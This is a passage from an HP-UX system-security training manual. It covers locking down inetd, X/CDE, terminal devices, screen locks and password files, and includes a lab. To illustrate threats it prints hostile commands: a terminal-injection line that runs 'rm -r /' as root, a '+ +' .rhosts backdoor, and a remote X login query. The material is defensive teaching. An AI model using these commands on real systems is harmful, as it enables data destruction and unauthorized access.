How the Hacker Gains Access to a Target System (Part 2)

To make this change permanent, you will need to modify the

/etc/rc.config.d/netdaemons configuration file. This file determines if and how each
startup script executes during the boot process. By setting the INETD_ARGS variable to "-k",
we are telling the system to kill the "inetd" daemon at system startup.

# vi /etc/rc.config.d/netdaemons
export INETD_ARGS="-k"

Disabling Selected Network Services

If you only wish to disable selected network services, you may do so via the inetd.conf
file. The inetd daemon consults this file at boot time to determine which services it should
or shouldn’t provide. Simply precede each unwanted service’s inetd.conf entry with a “#”
sign. In the example on the slide, the telnet service has been disabled. After modifying the
file, issue the inetd –c command to restart inetd.

Disabling Selected Services for Selected Hosts

/var/adm/inetd.sec is the file to edit if you want to allow or deny access to selected
services on a host-by-host, subnet-by-subnet basis.

The example on the slide only allows telnet access to:

• Hosta
• Hostb
• All hosts on the 128.1 network
• All hosts on the 128.2.1-5 subnets

Since the telnet entry uses the keyword allow, all other hosts are implicitly denied access
to the telnet service. Using the keyword deny, on the other hand, implicitly allows access
to all unlisted hosts. Each service may have an allow entry or a deny entry, but not both.

Based on the sample inetd.sec file on the slide, which hosts would be able to access the
login service?

http://education.hp.com 4-23 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–11. SLIDE: Controlling Access via X/CDE

Controlling Access via X/CDE

Even though my target has implemented dialup

passwords and disabled the telnet daemon, I can still
get to a login prompt via X-windows!

Consider disabling X/CDE entirely.

# /sbin/init.d/dtlogin.rc stop
# vi /etc/rc.config.d/desktop
DESKTOP=""
Consider restricting X/CDE access to selected hosts.
# vi /etc/dt/config/Xaccess
corp.hp.com
*.ca.hp.com
!*
# /sbin/init.d/dtlogin.rc reset

Student Notes
Even if you successfully lock down your modems, terminals, and inetd services, one avenue
of attack still remains open to potential hackers: X-windows. By default, most HP-UX
machines are installed with X/CDE enabled. Even if you don’t have a graphics terminal
attached, hackers may attempt to access your machine via your CDE dtlogin daemon. A
hacker can request a login screen from the X server on any host by simply typing:

# /usr/bin/X11/X –query target.com

Disabling X/CDE Entirely

If your legitimate users don’t have graphics terminals or X-window emulators, then consider
killing X/CDE entirely. This requires just one command:

# /sbin/init.d/dtlogin.rc stop

H3541S D.02 4-24 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

To make the change permanent, modify the /etc/rc.config.d/desktop configuration

file that is read by the /sbin/init.d/dtlogin.rc startup script:

# vi /etc/rc.config.d/desktop
DESKTOP=""

Allowing X/CDE Access from Selected Hosts

By default, X/CDE will send a dtlogin screen to any graphics display that has network
connectivity with your host. If you must run X/CDE, you should limit the list of hosts that
can connect to your dtlogin daemon. The /etc/dt/config/Xaccess file specifies
which hosts or subnets should be granted access to your host. The sample file shown on the
slide:

• Allows CDE access from hostname corp.hp.com.

• Allows access from any host in the ca.hp.com domain.
• Denies access (“!” is a negation) to all other hosts.

Note that you must use the /sbin/init.d/dtlogin.rc reset command to force X/CDE
to recognize changes in the Xaccess file.

Another Approach
Even if you haven’t configured the Xaccess file, your firewall probably prevents outsiders
from accessing your host via X/CDE. Nonetheless, for added security you should consider
configuring Xaccess.

http://education.hp.com 4-25 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–12. SLIDE: Protecting Terminal Device Files

Protecting Terminal Device Files

I’ll redirect a command to root’s terminal window rm -r /

so it will execute with root’s permissions!
echo “\r rm -r / \r\033d” >/dev/tty0p0
tty0p0 (root)

Deny world read/write permissions on users’ terminal sessions.

# vi ~/.shrc
mesg n
Verify that X-Window Magic Cookie display security is enabled.
# cp /usr/dt/config/Xconfig /etc/dt/config/Xconfig
# vi /etc/dt/config/Xconfig
Dtlogin*authorize : True
# init 2
# init 3
Discourage users from allowing external access to their displays via xhost.
# xhost + Å Bad Idea!

Student Notes
After a login session has been initiated via a serial terminal or modem, a telnet session, or
a CDE login session, you must ensure that the initiating user is the only user that may access
that terminal or DISPLAY. Otherwise, there is some danger that a hacker may attempt to
view or even execute commands on the user’s terminal. The example on the slide
demonstrates an old hacker’s trick: redirecting a malicious command to root’s terminal
device with the special \033d escape sequence causes that command to execute using root’s
UID! (Note that the \r\033d sequence only works in hpterm terminal emulators. A slightly
more complicated procedure may be used to exploit world-writable dtterm terminal
emulator device files.)

To prevent attacks of this sort, be sure to set permissions on your terminals and displays so
that only the owning user has read/write access.

H3541S D.02 4-26 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

Deny World Read/Write Access on Users’ Terminal Sessions

To deny hackers access to your users’ terminal, modem, and telnet sessions, simply add
the mesg n command to your users’ ~/.shrc files. To verify that users’ terminal device file
permissions are set properly, execute the who –T command. A “+” sign in the second
column indicates that the user has set mesg y. A “-“ sign indicates that the user’s terminal
permissions are set properly.

Verify that X-Window Magic Cookie display security is enabled

It is equally important to ensure that only authorized users are allowed read/write access to
users’ CDE desktops. If a hacker gains read/write access to a user’s CDE display, he can
remotely open and close windows on that user’s CDE desktop. A common hacker trick is to
overlay the target user’s desktop with an invisible window that captures the user’s keystrokes
and forwards them back to the hacker host for analysis. This often allows hackers to capture
usernames, passwords, and other sensitive information.

X-Windows has two display security mechanisms; one makes use of the xhost command,
and the other uses MIT “magic cookies”.

By default, CDE uses the MIT magic cookie display security mechanism. The first time a user
logs into a system via CDE, CDE creates a “magic cookie”, or key, for the user in
~user/.Xauthority file. Any request received by the user’s X-server must be
accompanied by a magic cookie that matches the display user’s magic cookie.

If you want to allow other users to access your CDE display, they will need a copy of your
magic cookie. First, use the xauth command to view your own magic cookie.

myuser$ xauth list

myhost:0 MIT-MAGIC-COOKIE-1 71635835f89c17e3cb4b0928550085a0

Then, ask the other user to add your magic cookie to their .Xauthority file via the xauth
command.

otheruser$ xauth add myhost:0 MIT-MAGIC-COOKIE-1

71635835f89c17e3cb4b0928550085a0

After doing this, the other user should be able to display windows on your desktop.

otheruser$ xclock –display myhost:0

Some users complain that the magic cookie mechanism is cumbersome, and ask to have it
disabled so any user can access any other user’s desktop. Disabling the feature is fairly
straightforward:

# cp /usr/dt/config/Xconfig /etc/dt/config/Xconfig
# vi /etc/dt/config/Xconfig
Dtlogin*authorize : False
# init 2
# init 3

http://education.hp.com 4-27 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

Although disabling magic cookie security allows users to easily share windows with other
users on the localhost, it allows hackers to access other users’ desktops, too! If you are truly
concerned about security, don’t disable the magic cookie functionality! To ensure that magic
cookie security is enabled, set the Dtlogin*authorize resource to True rather than
False.

# cp /usr/dt/config/Xconfig /etc/dt/config/Xconfig
# vi /etc/dt/config/Xconfig
Dtlogin*authorize : True
# init 2
# init 3

Magic cookies provide some element of X-window display security. However, cookies are
passed across the network in cleartext, so hackers may be able to intercept cookies via
network sniffers.

Discourage users from allowing external access to their displays via xhost
If you prefer to control access to users’ displays on a per-host rather than a per-user basis,
you can disable the magic cookie mechanism entirely, and use the xhost command to
control access instead, though this isn’t recommended.

After you disable the magic cookie mechanism, any user on the localhost should be able to
send windows to any other local user’s display. If you want to allow users from other hosts
to access your display, use the xhost command. Consider the following examples:

# xhost # List hosts that have access to the user’s display.

# xhost + # Bad idea! Grants all hosts access to the display.
# xhost - # Remove all hosts from the display access list.
# xhost +hosta # Add a selected host to the display access list.
# xhost –hosta # Remove a selected host from the access list.

If xhost and xauth are both used, then both mechanisms allow access. Thus, if a client has
the right cookie, or comes from a permitted xhost address they are allowed access.
If you need to limit access so that both the right cookie, and the right IP address are needed,
then you will have to look at firewalling techniques covered in a later module.

H3541S D.02 4-28 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–13. SLIDE: Configuring the Screen Lock

Configuring the Screen Lock

I see root has gone to lunch without

locking the screen! Now’s my
chance to create a back door!
echo “+ +” > ~/.rhosts

Use the lock command / icon to lock your terminal when you leave your desk.
# lock
Key:
Again:
LOCKED
Configure the TMOUT variable to automatically close inactive shells.
# vi ~/.profile
export TMOUT=600 #(lock after 600 seconds of inactivity)

Configure the CDE lock manager, too.

# cp /usr/dt/config/C/sys.resources /etc/dt/config/C/sys.resources
# vi /etc/dt/config/C/sys.resources
dtsession*lockTimeout: 10

Student Notes
Unattended terminals pose a serious risk to system security. Careless users (and even
administrators!) oftentimes leave their terminals unattended during lunch and coffee breaks.
With less than a dozen simple keystrokes on an unattended terminal, a hacker can plant a
backdoor or, perhaps worse yet, destroy the system with rm –r / !

Using the lock Command and Icon

When leaving your terminal unattended for even a few minutes, always use a screen lock or
log out. This is particularly important for the root account!

• To lock a terminal/telnet/modem session, simply type lock.

• In CDE, click the padlock icon on the front panel to lock your display.

Configuring the TMOUT Variable

Terminal, modem, and telnet connections automatically exit after TMOUT seconds of
inactivity. Individuals may define a value for this variable in their ~/.profile scripts. To
set a system-wide default TMOUT variable, define the variable in the /etc/profile script.
Note that the TMOUT variable is defined in seconds.

http://education.hp.com 4-29 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

Configuring the CDE Lock Manager

The dtsession*lockTimeout resource defines the automatic timeout value for the
automatic CDE lock functionality. Individual users may set their own lockTimeout values
via the Style Manager Æ Screen utility. To set a default timeout value for all new CDE users,
create and modify /etc/dt/config/C/sys.resources:

# cp /usr/dt/config/C/sys.resources /etc/dt/config/C/sys.resources
# vi /etc/dt/config/C/sys.resources
dtsession*lockTimeout: 60

Note that the new timeout value will only affect new CDE users!

H3541S D.02 4-30 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

4–14. LAB: Gaining Access

Part I: Configuring a Dialup Password

Dialup passwords are sometimes used to add an additional measure of security to dial-in
modem ports. Since our classroom machines don’t have modems, this part of the lab
exercise asks you to configure a dialup password on a pseudo-terminal used by a telnet
session. Note that this is not a typical application of dialup passwords!
1. Determine the device filenames used for network access by initiating a telnet session,
then executing the tty command. Record the output from the tty command.

# telnet localhost
Login: root
Password: **

# tty
/dev/pts/ta

# exit

Note that if you were configuring /etc/dialups for a dial-in modem, you could simply
use ioscan –funC tty to find the modem’s device file name.

2. Add the device file you discovered in the previous question to the /etc/dialups file.
All the device files listed in /etc/dialups will require a dial-up password.

# vi /etc/dialups
/dev/pts/ta

3. Unfortunately, HPUX doesn’t provide a built-in mechanism for encrypting the passwords
in /etc/d_passwd. Enter the following program with the vi editor (or simply copy the
program from your /labs/scripts directory).

# vi /root/dialupadd.c

# include <stdio.h>
main()
{
char shell[25], password[25];
char *result;
fprintf(stderr, “Please enter the shell you wish to protect: “);
scanf(“%s”, shell);
fprintf(stderr, “Please enter the password to be encrypted: “);
scanf(“%s”, password);
result = crypt(password, “xx”);
fprintf(stdout, “%s:%s:\n”, shell, result);
}

http://education.hp.com 4-31 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

4. Compile the program.

# gcc /root/dialupadd.c –o /root/dialupadd

5. Use your program to add an entry to your /etc/d_passwd file for /usr/bin/sh.

# /root/dialupadd >>/etc/d_passwd
Please enter the shell you wish to protect: /usr/bin/sh
Please enter the password to be encrypted: xxxxx

6. Check the contents of /etc/d_passwd to see what happened.

# cat /etc/d_passwd

7. telnet to your localhost and login as user1 to see what happens!

# telnet localhost

8. Initiate another telnet session from another window, and again login as user1. Why
aren’t you prompted for a dialup password this time?

Answer:

9. As presently configured, which users will be prompted for a dialup password?

Answer:

10. Is it possible to set a different dialup password for root? Make it so!

Answer:

H3541S D.02 4-32 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

Part II: Limiting Network Service Access Via inetd and

/var/adm/inetd.sec
The network services provide another avenue by which hackers oftentimes attack Unix
systems. The HPUX /var/adm/inetd.sec file makes it possible to control exactly which
hosts can access which services.
1. Configure your inetd.sec file to allow incoming telnet requests from hosts in your row,
but deny request from all other hosts.

Answer:

2. Add another line to inetd.sec that allows all hosts except your row-mates to rlogin
to your machine.

Answer:

3. Test your configuration! Ask your rowmate(s) to try both an rlogin and a telnet to
your machine.

Answer:

4. Try another test: telnet up to the instructor’s machine, then see if you can telnet
and/or rlogin back to your own host.

Answer:

5. Be sure to exit your telnet and rlogin sessions to return to your original login session
on your localhost.

6. If you explicitly allow one host telnet access, does that implicitly deny access for all
other hosts?

Answer:

http://education.hp.com 4-33 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

7. If you explicitly deny one host telnet access, does that implicitly allow access for all
other hosts?

Answer:

8. Does the inetd.sec file make it possible to control access to the network services on a
user-by-user basis, or is access just controlled on a host-by-host basis?

Answer:

9. How can you disable telnet access for all hosts? Make it so!

Answer:

10. How can you disable all of the inetd services? Make it so!

Answer:

11. Does killing the inetd daemon affect your users’ ability to initiate outbound connection
requests? Try telnet'ing to the instructor station to find out!

Answer:

H3541S D.02 4-34 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 4
How the Hacker Gains Access to a Target System (Part 2)

Part III: Controlling Login Access via X/CDE

Even if you have configured dialup passwords and disabled network services, your host may
still be vulnerable to hacker attacks through X/CDE, as you will see in this part of the lab.
For this demonstration, you should work with your neighbor. Choose one machine to be the
hacker host, and one to be the target host.

Target host: ________________

Hacker host: ________________

1. Shutdown X/CDE on the hacker host.

hacker# /sbin/init.d/dtlogin.rc stop

2. From the hacker host console screen, request a login screen from the target.

hacker# /usr/bin/X11/X –query target

3. How does this X/CDE remote login functionality endanger the target host?

4. Create an Xaccess file to prevent other hosts from gaining CDE access to your system.

target# vi /etc/dt/config/Xaccess

5. On the target, force dtlogin to re-read its resources.

target# /sbin/init.d/dtlogin.rc reset

Back on the hacker host display, logout of the CDE session. What happens?

Answer:

6. Before moving on, restart the hacker host’s local X/CDE dtlogin deamon:

hacker# /sbin/init.d/dtlogin.rc start

Part IV: Cleanup

Before proceeding on to the next chapter, run the netfiles script to remove the
configuration changes you made over the course of this lab exercise.

# /labs/scripts/netfiles –r INITIAL

http://education.hp.com 4-35 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 4
How the Hacker Gains Access to a Target System (Part 2)

H3541S D.02 4-36 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
Module 5 — How the Hacker Gains Privileges
(Part 1)
Objectives
Upon completion of this module, you will be able to do the following:
• Describe the format of the /etc/passwd file.

• Describe the format of the /etc/shadow file.

• Describe the procedure used to create the /etc/shadow file.

• Describe the procedure used to encrypt UNIX passwords.

• Describe the procedure used to verify a user's password at login.

• Describe the qualities that differentiate good passwords from bad passwords.

• Manage user passwords with the passwd command.

• Enable password aging with the passwd command.

• Verify the security of the /etc/passwd file with Crack.

http://education.hp.com 5-1 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–1. SLIDE: The Hacker's Process: Gain User Access

The Hacker’s Process: Gain User Access

Step 1 Step 2 Step 3 Step 4

Gather Get to Gain user Perform
information a login access to the unauthorized
about the target prompt system activities
system

UNIX
Login:

Student Notes
Once a hacker gains access to a login prompt, your user accounts are the last line of defense
protecting your system’s resources and data. Properly configuring your user accounts is a
critical component of any security strategy!

H3541S D.02 5-2 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–2. SLIDE: The /etc/passwd File

The /etc/passwd File

/etc/passwd (r—r--r--)

root:qmAj8as.,8a3e:0:3::/:/bin/sh
daemon:*:1:5::/:/sbin/sh
user1:AdOK60AazRgXU:1001:1001:111-1111:/home/user1:/usr/bin/sh
user2:AdOK60AazRgXU:1002:1001:222-2222:/home/user2:/usr/bin/sh
user3:AdOK60AazRgXU:1003:1001:333-3333:/home/user3:/usr/bin/sh

Username Password UID GID Comments Home Directory Shell

If I can guess a user's password,

I can explore and possibly corrupt
my target system!

a6971

Student Notes
Each user on a UNIX system has a user account defined by an entry in the /etc/passwd
file. In order to gain access to a user account, a user must first enter his or her username and
password. If a hacker manages to obtain a user's username and password, the hacker will
have access to all the files, directories, and system resources normally available to the
compromised account’s owner.

Although passwords in /etc/passwd are stored in encrypted form, hackers can usually gain
access to one or more user accounts via simple password guessing or social engineering.
After obtaining access to a single user's account, the hacker can easily copy the passwd file
to his home system, where he can use an automated password guessing utility to guess other
users' passwords.

You must ensure that all of your users choose secure passwords; a single compromised
account may eventually allow a hacker to compromise many more accounts on your system!

http://education.hp.com 5-3 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

Fields in /etc/passwd
Each entry in the /etc/passwd file has seven fields:

Username The user name that is used when a user logs in. Usernames should be
between one and eight characters in length and the first character should
be alphabetic. If the name contains more than eight characters, only the
first eight are significant.

Password The encrypted password. Passwords are encrypted by the system when
the user sets the password using the passwd command. The password
should be six to eight characters, one of which is a number or a special
character.

If the password field is empty, no password is associated with the login

name. Never leave the password field empty. Leaving it empty makes it
very easy to break into a system.

An asterisk (*) in the password field deactivates an account.

UserID Each user must be assigned a userid. Userid 0 is reserved for root, and
UIDs 1-99 are reserved for other predefined accounts required by the
system. Version 10.20 of HP-UX introduced support for User IDs as large
as 2,147,483,646. Prior to HP-UX 10.20, UIDs greater than 60,000 were not
supported. When users are added using SAM, SAM begins assigning UIDs
starting with UID 101. You can choose blocks of UIDs for particular
groups:

• 100-199 – marketing
• 200-299 – engineering
• 300-399 – managers

Group ID The user’s default group ID (GID). This number corresponds with an entry
in the /etc/group file.

ID string The comment field. It allows you to add extra information about the users,
such as the user's full name, telephone extension, organization, or building
number. This field is used by the line printer spooler system and by the
finger command.

Home directory The absolute path to the directory the user will be in when they log in. If
this directory does not exist or is invalid, then the user is unable to log in.

Command The absolute path of a command to be executed when the user logs in.
Typically, this is a shell. The shells that are usually used are
/usr/bin/sh, /usr/bin/ksh, and /usr/bin/csh. For system UIDs
the shell is /sbin/sh, which is a special (POSIX) shell for the superuser.
It should not be changed to another shell. If the field is empty, the default
is /usr/bin/sh.

H3541S D.02 5-4 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–3. SLIDE: The /etc/shadow File

The /etc/shadow File

/etc/passwd (r—r—r--)

user1:x:1001:1001:111-1111:/home/user1:/usr/bin/sh

Uname UID GID Comments Home Directory Shell

Passwords replaced with “x” !

This clever admin created
a shadow password file
/etc/shadow (r--------) so I can’t read and crack
passwords!
user1:btp2SLRCK70es:12190::::::

Uname Password Last Changed

Student Notes
Since the /etc/passwd file must be world-readable, any user on a system can view
encrypted user passwords, and potentially run a password cracking utility.

Unfortunately, removing world-read permission on the /etc/passwd file isn’t a viable

solution to this problem. Many commands, from login, to ps, to ll use the /etc/passwd
file to convert UIDs to usernames, and vice versa. Changing the /etc/passwd file
permissions to 400 would cause these commands to fail.

HP’s shadow password product addresses this problem by moving encrypted passwords and
password aging information to the /etc/shadow file, which has 400 permissions to ensure
that it is only readable by root. Other user account information (UIDs, GIDs, home directory
paths, and startup shells) remain in the /etc/passwd file to ensure that login, ps, ll, and
other commands can still convert UIDs to usernames.

This feature is only available in HP-UX 11i. For even more password security options,
consider implementing HP’s Trusted System functionality. Trusted System functionality is
covered in a later chapter.

http://education.hp.com 5-5 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

Fields in /etc/shadow
The /etc/shadow file is an ASCII file consisting of any number of user entries separated by
newlines. Each user entry line consists of the following fields separated by colons:

login name Each login name must match a login name in /etc/passwd.

password When you convert to a shadowed system, each password in /etc/passwd is

replaced with an “x”, and the encrypted passwords are copied to the second
field in /etc/shadow. If the /etc/shadow password field is null, then there
is no password and no password is demanded on login. Login can be
prevented by entering a “*” in the /etc/shadow password field.

last changed The number of days since January 1, 1970 that the password was last
modified. This field is used by the password aging mechanism, which will be
described later in the chapter.

min weeks The minimum number of weeks that a user must retain a password before it
can be changed.

max weeks The maximum number of weeks for which a password is valid. A user who
attempts to login after his password has expired is forced to supply a new one.
If min weeks and max weeks are both zero, the user is forced to change his
password the next time he logs in. If min days is greater than max weeks,
then the password cannot be changed. These restrictions do not apply to the
superuser.

warn weeks The number of weeks the user is warned before his password expires.

inactivity The maximum number of days of inactivity allowed after a password has
expired. The account is locked if the password is not changed within the
specified number of days after the password expires. If this field is set to zero,
then the user is required to change his password.

expiration The absolute number of days since Jan 1, 1970 after which the account is no
longer valid. A value of zero in this field indicates that the account is locked.

reserved The reserved field is always zero and is reserved for future use.

H3541S D.02 5-6 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–4. SLIDE: Creating /etc/shadow

Creating /etc/shadow

/etc/passwd (r--r--r--)
user1:cr.CUU16Sy1/I:101:20::/home/user1:/usr/bin/sh
user2:a1.Y2gKkTzdUQ:102:20::/home/user2:/usr/bin/sh

# swlist ShadowPassword
# pwck
# pwconv

/etc/passwd (r--r--r--)
user1:x:101:20::/home/user1:/usr/bin/sh
user2:x:102:20::/home/user2:/usr/bin/sh

/etc/shadow (r--------)
user1:cr.CUU16Sy1/I:12190::::::
user2:a1.Y2gKkTzdUQ:12190::::::

Student Notes
By default, the /etc/shadow file doesn’t exist. Use the cookbook below to convert to a
shadow password system:

1. Download and install the ShadowPassword product from http://software.hp.com.

You can use the swlist command to determine if the product has already been installed
on your system.

# swlist ShadowPassword

2. Run pwck to verify that there aren’t any syntax errors in your existing /etc/passwd file.

# pwck

3. Use the pwconv command to move your passwords to the /etc/shadow file.

# pwconv

http://education.hp.com 5-7 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

4. Verify that the conversion succeeded. The /etc/passwd file should remain world-
readable, but the /etc/shadow file should only be readable by root.

# ll /etc/passwd /etc/shadow
-r--r--r-- 1 root sys 914 May 18 14:35 /etc/passwd
-r-------- 1 root sys 562 May 18 14:35 /etc/shadow

All the standard password commands, including passwd, useradd, usermod, userdel,
and pwck are shadow password aware.

You can revert to the traditional non-shadowed password functionality at any time via the
pwunconv command.

# pwunconv

H3541S D.02 5-8 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–5. SLIDE: Encrypting Passwords

Encrypting Passwords

12-bit 8-Character
System-Generated ASCII Password
"Salt" String From User
4 1 2 3
crypt()
5 System Call

6 xxsad870sdfsq
Salt Password Ciphertext

Student Notes
Whether you store passwords in /etc/passwd, or /etc/shadow, HP-UX stores passwords
in a fairly secure encrypted format. The diagram on the slide shows how HP-UX converts a
user-provided password to ciphertext that can be safely stored in the second field of the
/etc/passwd or /etc/shadow file.

User passwords may be set or changed by either the user, or the system administrator. In
either case the procedure is the same.
1. The user or administrator executes the /usr/bin/passwd command.

2. If the user is changing his or her own password, the old password must be entered first
before a new password may be set. The Administrator, however, can reset any user's
password at any time without entering the previous password.

3. Next, passwd prompts the user for the new password. The password may include any
combination of up to 8 ASCII characters; additional characters may be entered, but they
will be ignored. The user must confirm the new password by entering it a second time.

http://education.hp.com 5-9 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

4. The system chooses a 12-bit "salt" value based on the current time-of-day. The salt is used
in conjunction with the user-chosen password to generate the ciphertext stored in the
second field of /etc/passwd or /etc/shadow. Since there are 4096 possible salt
values, a single password can be encrypted 4096 different ways! This improves system
security significantly. If two users choose the same ASCII password, their encrypted
passwords will very likely appear to be entirely different!

5. Next, the user's ASCII password and the system-generated salt characters are passed to
the crypt function call. crypt uses the two input parameters to repeatedly encrypt and
re-encrypt a block of 64 zeroes using the DES encryption algorithm. The final result of
the encryption process is a string of 11 printable characters. Although the crypt
algorithm is well-known, no technique has yet been discovered to decrypt crypt-
encrypted passwords.

6. The 11 character ciphertext is appended to the 2 character salt string, and the
concatenated 13 character result is stored in the second field of the user's /etc/passwd
or /etc/shadow file.
Overall, since each password may contain eight 7-bit ASCII characters, this mechanism
allows for 256=72,000,000,000,000,000 different passwords, each of which may be encrypted
212 different ways, depending on the randomly chosen salt string.

Using the crypt System Call

If you wish, you can call the crypt system call from your own C programs. Consider the
following example:

# vi encrypt.c
main()
{
char seed[3], password[25];
char *result;
printf("Please enter the password to be encrypted: ");
scanf("%s", password);
printf("Please enter the two digit seed: ");
scanf("%s", seed);
result = crypt(password, seed);
printf("\n The encrypted password is %s\n", result);
}

H3541S D.02 5-10 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

5–6. SLIDE: Checking Encrypted Passwords at Login

Checking Encrypted Passwords at Login

/etc/passwd
2 root:qerqwhju7il93e:...
Login: user1 user1:xxsad870sdfsq:...
Password: xxxxx user2:fgetertewrter:...

3
1 crypt()
4 System Call

Does the result match the second field

5 in the user's /etc/passwd entry?

Login Login
No Yes
Denied! Allowed!

Student Notes
When a user enters their username and password at login time, the system verifies their
username and password as follows:
1. The user enters a username and password.

2. HP-UX searches the /etc/passwd file for an entry matching the user's username.

3. HP-UX extracts the salt string from the second field of the user's /etc/passwd or
/etc/shadow entry. This salt string is passed, together with the ASCII password
entered at the Password: prompt, to the crypt system call.

4. The crypt system call encrypts a block of 64 zeroes using the user's password and salt
string to generate an 13 character ciphertext.

5. The resulting ciphertext is compared to the ciphertext entered in the user's

/etc/passwd entry. If the two match, the user login is permitted, otherwise the login
attempt fails.

http://education.hp.com 5-11 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–7. SLIDE: Bad Passwords

Bad Passwords

NEVER choose a password based on ...

Any permutation of any username.

Any password you already use on another system or account.
Any dictionary word from any language.
Any publicly available personal information (eg: address, phone, birthday).
Any name, place, or proper noun, real or fictional.
Any computer or other technical terms, jargon, or acronyms.
Any simple patterns (eg: qwerty, abcxyz,1234567).
Any of the above spelled backwards.
Any of the above, appended or pre-pended with a single digit.
Any of the above, modified via simple substitutions (eg: 5=s, 0=o).

Student Notes
A single, poorly-chosen password can compromise an entire system. Thus, it is critical that
your users choose secure passwords. Theoretically, there are over 72,000,000,000,000,000
different potential UNIX passwords. Unfortunately, users tend to use a very small portion of
these potential passwords. Hackers can oftentimes break into user accounts by blindly trying
a few commonly used passwords (e.g.: computer, password, secret, etc.). Slightly more
sophisticated hackers may use an automated password guesser to quickly try thousands or
even tens of thousands of potential passwords in an online dictionary.

Make sure your users know that they should NEVER choose a password based on:

• Any permutation of any username or hostname.

• Any password the user already uses on another system, account, or application.
• Any dictionary word from any language.
• Any publicly available personal information (eg: address, phone, birthday).
• Any name, place, or proper noun, real or fictional.
• Any computer or other technical terms, jargon, or acronyms.
• Any simple patterns (eg: qwerty, abcxyz,1234567).
• Any of the above spelled backwards.

H3541S D.02 5-12 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

• Any of the above, appended or pre-pended with a single digit.

• Any of the above, modified via simple substitutions (eg: secret 5=s, 0=o).

“In other words, ANY password derived from ANY dictionary word (or personal information),
modified in ANY way, constitutes a potentially guessable password” -- from Alex Muffet,
creator of one of the most popular password guessing utilities on the Internet.

You must educate your user community to avoid these sorts of poor passwords!

http://education.hp.com 5-13 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–8. SLIDE: Good Passwords

Good Passwords

Good passwords ALWAYS ...

Are memorable to the user, yet ...

Never violate the guidelines mentioned on the previous page.
Are at least 6 characters in length, preferably 8.
Include a combination of upper-case and lower-case letters.
Include at least one number and/or symbol.

Password recommendations ...

Create your own acronym.
Combine two words with a symbol or character.

Student Notes
A good password is one that is easy to remember and that cannot be easily guessed. Good
passwords meet the following criteria:

• Are memorable to the user, yet ...

• Never violate the guidelines mentioned on the previous page.
• Are at least 6 characters in length, preferably 8.
• Include a combination of upper-case and lower-case letters.
• Include at least one number and/or symbol.

When users choose their own passwords, HP-UX enforces the last three rules stated above.
However, standard UNIX doesn't provide any mechanism for enforcing the first two rules.

H3541S D.02 5-14 http://education.hp.com

 2004 Hewlett-Packard Development Company, L.P.
 Module 5
How the Hacker Gains Privileges (Part 1)

Password Recommendations
You can use several different techniques to choose secure, yet memorable passwords:
• Create your own acronym. For example: UAmb$$s ("UNIX Administrators make big
$$s"). Make sure your acronym is at least 7 characters, and includes upper-case letters,
lower-case letters, and symbols. Don't use well-known acronyms -- they are often
included in hackers' common password dictionaries.

• Combine two words with a symbol or character. For example: Gold4Me. Again, be sure
the resulting password is at least 7 characters!

A Note about Trusted Systems

Converting to an HP-UX trusted system allows the Administrator to more carefully control
user password choices. Using the trusted system functionality, you can force users to accept
system-selected passwords, or at least require a simple dictionary check on passwords
chosen by your users. See the trusted system chapter later in this book for more information!

http://education.hp.com 5-15 H3541S D.02

 2004 Hewlett-Packard Development Company, L.P.
Module 5
How the Hacker Gains Privileges (Part 1)

5–9. SLIDE: Managing Passwords

Managing Passwords

# passwd Reset current user’s password

# passwd user1 Reset another user’s password.
# passwd -d user1 Set a null password.
# passwd -f user1 Force a password change at next login.
# passwd -l user1 Lock or disable an account.

The HP-UX passwd command

makes it easy to manage my
users' passwords!

Student Notes
The passwd command is the preferred command for managing HP-UX passwords. This slide
summarizes some of the other more common passwd options.

Resetting your own Password

Any user can change his or her own password by executing the passwd command without
